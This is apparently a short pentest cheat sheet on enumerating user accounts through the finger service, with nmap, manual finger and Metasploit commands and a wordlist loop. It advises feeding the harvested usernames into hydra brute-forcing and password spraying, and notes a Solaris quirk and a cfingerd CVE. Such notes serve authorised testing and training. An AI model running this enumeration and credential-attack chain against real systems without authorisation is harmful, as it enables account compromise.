Finger <tcp 79>

User enumeration oracle. If it's open, you get valid usernames for free.

Nmap

01nmap -sV -p79 --script finger $ip

Manual query

01finger @$ip
02finger root@$ip
03finger admin@$ip

User enumeration

01for u in $(cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt); do
02  echo "== $u =="
03  finger $u@$ip
04done

Metasploit:

01use auxiliary/scanner/finger/finger_users
02set RHOSTS $ip
03set USERS_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
04run

What to look for

• Login names → feed into SSH / hydra
• Home directories → LFI / path targets
• Never logged in vs Last login → active accounts to spray
• .plan / .project contents leaked in the response

Known quirks

• Solaris fingerd: finger 'a b c d e f g h'@$ip dumps all users
• CVE-2001-1503 — Cfingerd format string